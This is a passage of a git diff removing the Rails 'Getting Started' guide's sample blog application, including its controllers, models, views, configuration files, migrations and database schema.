-  Application specific libraries. Basically, any kind of custom code that
-  doesn't belong under controllers, models, or helpers. This directory is in
-  the load path.
-
-public
-  The directory available for the web server. Also contains the dispatchers and the
-  default HTML files. This should be set as the DOCUMENT_ROOT of your web
-  server.
-
-script
-  Helper scripts for automation and generation.
-
-test
-  Unit and functional tests along with fixtures. When using the rails generate
-  command, template test files will be generated for you and placed in this
-  directory.
-
-vendor
-  External libraries that the application depends on. Also includes the plugins
-  subdirectory. If the app has frozen rails, those gems also go here, under
-  vendor/rails/. This directory is in the load path.
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js
deleted file mode 100644
index 37c7bfcdb5..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/application.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// This is a manifest file that'll be compiled into including all the files listed below.
-// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically
-// be included in the compiled file accessible from http://example.com/assets/application.js
-// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
-// the compiled file.
-//
-//= require jquery
-//= require jquery_ujs
-//= require_tree .
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
deleted file mode 100644
index 761567942f..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee
deleted file mode 100644
index 761567942f..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
deleted file mode 100644
index 761567942f..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css
deleted file mode 100644
index fc25b5723f..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/application.css
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * This is a manifest file that'll automatically include all the stylesheets available in this directory
- * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at
- * the top of the compiled file, but it's generally better to create a new file per style scope.
- *= require_self
- *= require_tree . 
-*/
\ No newline at end of file
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
deleted file mode 100644
index e730912783..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the Comments controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss
deleted file mode 100644
index f0ddc6846a..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the home controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
deleted file mode 100644
index ed4dfd10f2..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the Posts controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss
deleted file mode 100644
index 05188f08ed..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss
+++ /dev/null
@@ -1,56 +0,0 @@
-body {
-  background-color: #fff;
-  color: #333;
-  font-family: verdana, arial, helvetica, sans-serif;
-  font-size: 13px;
-  line-height: 18px; }
-
-p, ol, ul, td {
-  font-family: verdana, arial, helvetica, sans-serif;
-  font-size: 13px;
-  line-height: 18px; }
-
-pre {
-  background-color: #eee;
-  padding: 10px;
-  font-size: 11px; }
-
-a {
-  color: #000;
-  &:visited {
-    color: #666; }
-  &:hover {
-    color: #fff;
-    background-color: #000; } }
-
-div {
-  &.field, &.actions {
-    margin-bottom: 10px; } }
-
-#notice {
-  color: green; }
-
-.field_with_errors {
-  padding: 2px;
-  background-color: red;
-  display: table; }
-
-#error_explanation {
-  width: 450px;
-  border: 2px solid red;
-  padding: 7px;
-  padding-bottom: 0;
-  margin-bottom: 20px;
-  background-color: #f0f0f0;
-  h2 {
-    text-align: left;
-    font-weight: bold;
-    padding: 5px 5px 5px 15px;
-    font-size: 12px;
-    margin: -7px;
-    margin-bottom: 0px;
-    background-color: #c00;
-    color: #fff; }
-  ul li {
-    font-size: 12px;
-    list-style: square; } }
diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb
deleted file mode 100644
index 7447fd078b..0000000000
--- a/railties/guides/code/getting_started/app/controllers/comments_controller.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class CommentsController < ApplicationController
-	http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
-  def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.create(params[:comment])
-    redirect_to post_path(@post)
-  end
- 
-  def destroy
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-    @comment.destroy
-    redirect_to post_path(@post)
-  end
- 
-end
diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb
deleted file mode 100644
index 6cc31c1ca3..0000000000
--- a/railties/guides/code/getting_started/app/controllers/home_controller.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class HomeController < ApplicationController
-  def index
-  end
-
-end
diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb
deleted file mode 100644
index 7e903c984c..0000000000
--- a/railties/guides/code/getting_started/app/controllers/posts_controller.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-class PostsController < ApplicationController
-  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
-  # GET /posts
-  # GET /posts.json
-  def index
-    @posts = Post.all
-
-    respond_to do |format|
-      format.html # index.html.erb
-      format.json { render json: @posts }
-    end
-  end
-
-  # GET /posts/1
-  # GET /posts/1.json
-  def show
-    @post = Post.find(params[:id])
-
-    respond_to do |format|
-      format.html # show.html.erb
-      format.json { render json: @post }
-    end
-  end
-
-  # GET /posts/new
-  # GET /posts/new.json
-  def new
-    @post = Post.new
-
-    respond_to do |format|
-      format.html # new.html.erb
-      format.json { render json: @post }
-    end
-  end
-
-  # GET /posts/1/edit
-  def edit
-    @post = Post.find(params[:id])
-  end
-
-  # POST /posts
-  # POST /posts.json
-  def create
-    @post = Post.new(params[:post])
-
-    respond_to do |format|
-      if @post.save
-        format.html { redirect_to @post, notice: 'Post was successfully created.' }
-        format.json { render json: @post, status: :created, location: @post }
-      else
-        format.html { render action: "new" }
-        format.json { render json: @post.errors, status: :unprocessable_entity }
-      end
-    end
-  end
-
-  # PUT /posts/1
-  # PUT /posts/1.json
-  def update
-    @post = Post.find(params[:id])
-
-    respond_to do |format|
-      if @post.update_attributes(params[:post])
-        format.html { redirect_to @post, notice: 'Post was successfully updated.' }
-        format.json { head :ok }
-      else
-        format.html { render action: "edit" }
-        format.json { render json: @post.errors, status: :unprocessable_entity }
-      end
-    end
-  end
-
-  # DELETE /posts/1
-  # DELETE /posts/1.json
-  def destroy
-    @post = Post.find(params[:id])
-    @post.destroy
-
-    respond_to do |format|
-      format.html { redirect_to posts_url }
-      format.json { head :ok }
-    end
-  end
-end
diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb
deleted file mode 100644
index 23de56ac60..0000000000
--- a/railties/guides/code/getting_started/app/helpers/home_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module HomeHelper
-end
diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb
deleted file mode 100644
index b6e8e67894..0000000000
--- a/railties/guides/code/getting_started/app/helpers/posts_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module PostsHelper
-  def join_tags(post)
-    post.tags.map { |t| t.name }.join(", ")
-  end
-end
diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb
deleted file mode 100644
index 61c2b5ae44..0000000000
--- a/railties/guides/code/getting_started/app/models/post.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Post < ActiveRecord::Base
-  validates :name,  :presence => true
-  validates :title, :presence => true,
-                    :length => { :minimum => 5 }
- 
-  has_many :comments, :dependent => :destroy
-  has_many :tags
- 
-  accepts_nested_attributes_for :tags, :allow_destroy => :true,
-    :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
-end
diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb
deleted file mode 100644
index 30992e8ba9..0000000000
--- a/railties/guides/code/getting_started/app/models/tag.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Tag < ActiveRecord::Base
-  belongs_to :post
-end
diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb
deleted file mode 100644
index 4c3fbf26cd..0000000000
--- a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
-  <b>Commenter:</b>
-  <%= comment.commenter %>
-</p>
- 
-<p>
-  <b>Comment:</b>
-  <%= comment.body %>
-</p>
- 
-<p>
-  <%= link_to 'Destroy Comment', [comment.post, comment],
-               :confirm => 'Are you sure?',
-               :method => :delete %>
-</p>
diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb
deleted file mode 100644
index d15bdd6b59..0000000000
--- a/railties/guides/code/getting_started/app/views/comments/_form.html.erb
+++ /dev/null
@@ -1,13 +0,0 @@
-<%= form_for([@post, @post.comments.build]) do |f| %>
-  <div class="field">
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </div>
-  <div class="field">
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </div>
-  <div class="actions">
-    <%= f.submit %>
-  </div>
-<% end %>
diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb
deleted file mode 100644
index bb4f3dcd1f..0000000000
--- a/railties/guides/code/getting_started/app/views/home/index.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb
deleted file mode 100644
index 1e1e4b9a99..0000000000
--- a/railties/guides/code/getting_started/app/views/layouts/application.html.erb
+++ /dev/null
@@ -1,14 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>Blog</title>
-  <%= stylesheet_link_tag    "application" %>
-  <%= javascript_include_tag "application" %>
-  <%= csrf_meta_tags %>
-</head>
-<body style="background: #EEEEEE;">
-
-<%= yield %>
-
-</body>
-</html>
diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb
deleted file mode 100644
index e27da7f413..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/_form.html.erb
+++ /dev/null
@@ -1,32 +0,0 @@
-<% @post.tags.build %>
-<%= form_for(@post) do |post_form| %>
-  <% if @post.errors.any? %>
-  <div id="errorExplanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
-  <% end %>
- 
-  <div class="field">
-    <%= post_form.label :name %><br />
-    <%= post_form.text_field :name %>
-  </div>
-  <div class="field">
-    <%= post_form.label :title %><br />
-    <%= post_form.text_field :title %>
-  </div>
-  <div class="field">
-    <%= post_form.label :content %><br />
-    <%= post_form.text_area :content %>
-  </div>
-  <h2>Tags</h2>
-  <%= render :partial => 'tags/form',
-             :locals => {:form => post_form} %>
-  <div class="actions">
-    <%= post_form.submit %>
-  </div>
-<% end %>
diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb
deleted file mode 100644
index 720580236b..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/edit.html.erb
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Editing post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb
deleted file mode 100644
index 45dee1b25f..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/index.html.erb
+++ /dev/null
@@ -1,27 +0,0 @@
-<h1>Listing posts</h1>
-
-<table>
-  <tr>
-    <th>Name</th>
-    <th>Title</th>
-    <th>Content</th>
-    <th></th>
-    <th></th>
-    <th></th>
-  </tr>
-
-<% @posts.each do |post| %>
-  <tr>
-    <td><%= post.name %></td>
-    <td><%= post.title %></td>
-    <td><%= post.content %></td>
-    <td><%= link_to 'Show', post %></td>
-    <td><%= link_to 'Edit', edit_post_path(post) %></td>
-    <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New Post', new_post_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb
deleted file mode 100644
index 36ad7421f9..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/new.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>New post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Back', posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb
deleted file mode 100644
index da78a9527b..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/show.html.erb
+++ /dev/null
@@ -1,31 +0,0 @@
-<p class="notice"><%= notice %></p>
- 
-<p>
-  <b>Name:</b>
-  <%= @post.name %>
-</p>
- 
-<p>
-  <b>Title:</b>
-  <%= @post.title %>
-</p>
- 
-<p>
-  <b>Content:</b>
-  <%= @post.content %>
-</p>
- 
-<p>
-  <b>Tags:</b>
-  <%= join_tags(@post) %>
-</p>
- 
-<h2>Comments</h2>
-<%= render @post.comments %>
- 
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
- 
- 
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb
deleted file mode 100644
index 7e424b0e20..0000000000
--- a/railties/guides/code/getting_started/app/views/tags/_form.html.erb
+++ /dev/null
@@ -1,12 +0,0 @@
-<%= form.fields_for :tags do |tag_form| %>
-  <div class="field">
-    <%= tag_form.label :name, 'Tag:' %>
-    <%= tag_form.text_field :name %>
-  </div>
-  <% unless tag_form.object.nil? || tag_form.object.new_record? %>
-    <div class="field">
-      <%= tag_form.label :_destroy, 'Remove:' %>
-      <%= tag_form.check_box :_destroy %>
-    </div>
-  <% end %>
-<% end %>
diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb
deleted file mode 100644
index e914b5a80e..0000000000
--- a/railties/guides/code/getting_started/config/application.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require File.expand_path('../boot', __FILE__)
-
-require 'rails/all'
-
-if defined?(Bundler)
-  # If you precompile assets before deploying to production, use this line
-  Bundler.require *Rails.groups(:assets => %w(development test))
-  # If you want your assets lazily compiled in production, use this line
-  # Bundler.require(:default, :assets, Rails.env)
-end
-
-module Blog
-  class Application < Rails::Application
-    # Settings in config/environments/* take precedence over those specified here.
-    # Application configuration should go into files in config/initializers
-    # -- all .rb files in that directory are automatically loaded.
-
-    # Custom directories with classes and modules you want to be autoloadable.
-    # config.autoload_paths += %W(#{config.root}/extras)
-
-    # Only load the plugins named here, in the order given (default is alphabetical).
-    # :all can be used as a placeholder for all plugins not explicitly named.
-    # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
-
-    # Activate observers that should always be running.
-    # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
-
-    # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
-    # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
-    # config.time_zone = 'Central Time (US & Canada)'
-
-    # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
-    # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
-    # config.i18n.default_locale = :de
-
-    # Configure the default encoding used in templates for Ruby 1.9.
-    config.encoding = "utf-8"
-
-    # Configure sensitive parameters which will be filtered from the log file.
-    config.filter_parameters += [:password]
-
-    # Enable the asset pipeline
-    config.assets.enabled = true
-
-    # Version of your assets, change this if you want to expire all your assets
-    config.assets.version = '1.0'
-  end
-end
diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb
deleted file mode 100644
index 4489e58688..0000000000
--- a/railties/guides/code/getting_started/config/boot.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'rubygems'
-
-# Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb
deleted file mode 100644
index 89932bf19b..0000000000
--- a/railties/guides/code/getting_started/config/environments/development.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-Blog::Application.configure do
-  # Settings specified here will take precedence over those in config/application.rb
-
-  # In the development environment your application's code is reloaded on
-  # every request.  This slows down response time but is perfect for development
-  # since you don't have to restart the web server when you make code changes.
-  config.cache_classes = false
-
-  # Log error messages when you accidentally call methods on nil.
-  config.whiny_nils = true
-
-  # Show full error reports and disable caching
-  config.consider_all_requests_local       = true
-  config.action_controller.perform_caching = false
-
-  # Don't care if the mailer can't send
-  config.action_mailer.raise_delivery_errors = false
-
-  # Print deprecation notices to the Rails logger
-  config.active_support.deprecation = :log
-
-  # Only use best-standards-support built into browsers
-  config.action_dispatch.best_standards_support = :builtin
-
-  # Do not compress assets
-  config.assets.compress = false
-
-  # Expands the lines which load the assets
-  config.assets.debug = true
-end
diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb
deleted file mode 100644
index dee8acfdfe..0000000000
--- a/railties/guides/code/getting_started/config/environments/production.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-Blog::Application.configure do
-  # Settings specified here will take precedence over those in config/application.rb
-
-  # Code is not reloaded between requests
-  config.cache_classes = true
-
-  # Full error reports are disabled and caching is turned on
-  config.consider_all_requests_local       = false
-  config.action_controller.perform_caching = true
-
-  # Disable Rails's static asset server (Apache or nginx will already do this)
-  config.serve_static_assets = false
-
-  # Compress JavaScripts and CSS
-  config.assets.compress = true
-
-  # Don't fallback to assets pipeline if a precompiled asset is missed
-  config.assets.compile = false
-
-  # Generate digests for assets URLs
-  config.assets.digest = true
-
-  # Defaults to Rails.root.join("public/assets")
-  # config.assets.manifest = YOUR_PATH
-
-  # Specifies the header that your server uses for sending files
-  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-
-  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
-  # config.force_ssl = true
-
-  # See everything in the log (default is :info)
-  # config.log_level = :debug
-
-  # Prepend all log lines with the following tags
-  # config.log_tags = [ :subdomain, :uuid ]
-
-  # Use a different logger for distributed setups
-  # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
-
-  # Use a different cache store in production
-  # config.cache_store = :mem_cache_store
-
-  # Enable serving of images, stylesheets, and JavaScripts from an asset server
-  # config.action_controller.asset_host = "http://assets.example.com"
-
-  # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
-  # config.assets.precompile += %w( search.js )
-
-  # Disable delivery errors, bad email addresses will be ignored
-  # config.action_mailer.raise_delivery_errors = false
-
-  # Enable threaded mode
-  # config.threadsafe!
-
-  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
-  # the I18n.default_locale when a translation can not be found)
-  config.i18n.fallbacks = true
-
-  # Send deprecation notices to registered listeners
-  config.active_support.deprecation = :notify
-end
diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb
deleted file mode 100644
index 833241ace3..0000000000
--- a/railties/guides/code/getting_started/config/environments/test.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-Blog::Application.configure do
-  # Settings specified here will take precedence over those in config/application.rb
-
-  # The test environment is used exclusively to run your application's
-  # test suite.  You never need to work with it otherwise.  Remember that
-  # your test database is "scratch space" for the test suite and is wiped
-  # and recreated between test runs.  Don't rely on the data there!
-  config.cache_classes = true
-
-  # Configure static asset server for tests with Cache-Control for performance
-  config.serve_static_assets = true
-  config.static_cache_control = "public, max-age=3600"
-
-  # Log error messages when you accidentally call methods on nil
-  config.whiny_nils = true
-
-  # Show full error reports and disable caching
-  config.consider_all_requests_local       = true
-  config.action_controller.perform_caching = false
-
-  # Raise exceptions instead of rendering exception templates
-  config.action_dispatch.show_exceptions = false
-
-  # Disable request forgery protection in test environment
-  config.action_controller.allow_forgery_protection    = false
-
-  # Tell Action Mailer not to deliver emails to the real world.
-  # The :test delivery method accumulates sent emails in the
-  # ActionMailer::Base.deliveries array.
-  config.action_mailer.delivery_method = :test
-
-  # Use SQL instead of Active Record's schema dumper when creating the test database.
-  # This is necessary if your schema can't be completely dumped by the schema dumper,
-  # like if you have constraints or database-specific column types
-  # config.active_record.schema_format = :sql
-
-  # Print deprecation notices to the stderr
-  config.active_support.deprecation = :stderr
-
-  # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets
-  config.assets.allow_debugging = true
-end
diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb
deleted file mode 100644
index 9e8b0131f8..0000000000
--- a/railties/guides/code/getting_started/config/initializers/inflections.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new inflection rules using the following format
-# (all these examples are active by default):
-# ActiveSupport::Inflector.inflections do |inflect|
-#   inflect.plural /^(ox)$/i, '\1en'
-#   inflect.singular /^(ox)en/i, '\1'
-#   inflect.irregular 'person', 'people'
-#   inflect.uncountable %w( fish sheep )
-# end
diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb
deleted file mode 100644
index b0c8ee23c1..0000000000
--- a/railties/guides/code/getting_started/config/initializers/secret_token.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459'
diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb
deleted file mode 100644
index 31f0d210db..0000000000
--- a/railties/guides/code/getting_started/config/routes.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-Blog::Application.routes.draw do
-	resources :posts do
-		resources :comments
-	end
-
-  get "home/index"
-
-  # The priority is based upon order of creation:
-  # first created -> highest priority.
-
-  # Sample of regular route:
-  #   match 'products/:id' => 'catalog#view'
-  # Keep in mind you can assign values other than :controller and :action
-
-  # Sample of named route:
-  #   match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
-  # This route can be invoked with purchase_url(:id => product.id)
-
-  # Sample resource route (maps HTTP verbs to controller actions automatically):
-  #   resources :products
-
-  # Sample resource route with options:
-  #   resources :products do
-  #     member do
-  #       get 'short'
-  #       post 'toggle'
-  #     end
-  #
-  #     collection do
-  #       get 'sold'
-  #     end
-  #   end
-
-  # Sample resource route with sub-resources:
-  #   resources :products do
-  #     resources :comments, :sales
-  #     resource :seller
-  #   end
-
-  # Sample resource route with more complex sub-resources
-  #   resources :products do
-  #     resources :comments
-  #     resources :sales do
-  #       get 'recent', :on => :collection
-  #     end
-  #   end
-
-  # Sample resource route within a namespace:
-  #   namespace :admin do
-  #     # Directs /admin/products/* to Admin::ProductsController
-  #     # (app/controllers/admin/products_controller.rb)
-  #     resources :products
-  #   end
-
-  # You can have the root of your site routed with "root"
-  # just remember to delete public/index.html.
-  root :to => "home#index"
-  
-  # See how all your routes lay out with "rake routes"
-
-  # This is a legacy wild controller route that's not recommended for RESTful applications.
-  # Note: This route will make all actions in every controller accessible via GET requests.
-  # match ':controller(/:action(/:id(.:format)))'
-end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb
deleted file mode 100644
index d45a961523..0000000000
--- a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class CreatePosts < ActiveRecord::Migration
-  def change
-    create_table :posts do |t|
-      t.string :name
-      t.string :title
-      t.text :content
-
-      t.timestamps
-    end
-  end
-end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb
deleted file mode 100644
index cf95b1c3d0..0000000000
--- a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class CreateTags < ActiveRecord::Migration
-  def change
-    create_table :tags do |t|
-      t.string :name
-      t.references :post
-
-      t.timestamps
-    end
-    add_index :tags, :post_id
-  end
-end
diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb
deleted file mode 100644
index 9db4fbe4b6..0000000000
--- a/railties/guides/code/getting_started/db/schema.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# encoding: UTF-8
-# This file is auto-generated from the current state of the database. Instead
-# of editing this file, please use the migrations feature of Active Record to
-# incrementally modify your database, and then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your
-# database schema. If you need to create the application database on another
-# system, you should be using db:schema:load, not running all the migrations
-# from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended to check this file into your version control system.
-
-ActiveRecord::Schema.define(:version => 20110901013701) do
-
-  create_table "comments", :force => true do |t|
-    t.string   "commenter"
-    t.text     "body"
-    t.integer  "post_id"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  add_index "comments", ["post_id"], :name => "index_comments_on_post_id"
-
-  create_table "posts", :force => true do |t|
-    t.string   "name"
-    t.string   "title"
-    t.text     "content"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  create_table "tags", :force => true do |t|
-    t.string   "name"
-    t.integer  "post_id"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  add_index "tags", ["post_id"], :name => "index_tags_on_post_id"
-
-end
diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html
deleted file mode 100644
index b80307fc16..0000000000
--- a/railties/guides/code/getting_started/public/500.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>We're sorry, but something went wrong (500)</title>
-  <style type="text/css">
-    body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
-    div.dialog {
-      width: 25em;
-      padding: 0 4em;
-      margin: 4em auto 0 auto;
-      border: 1px solid #ccc;
-      border-right-color: #999;
-      border-bottom-color: #999;
-    }
-    h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/500.html -->
-  <div class="dialog">
-    <h1>We're sorry, but something went wrong.</h1>
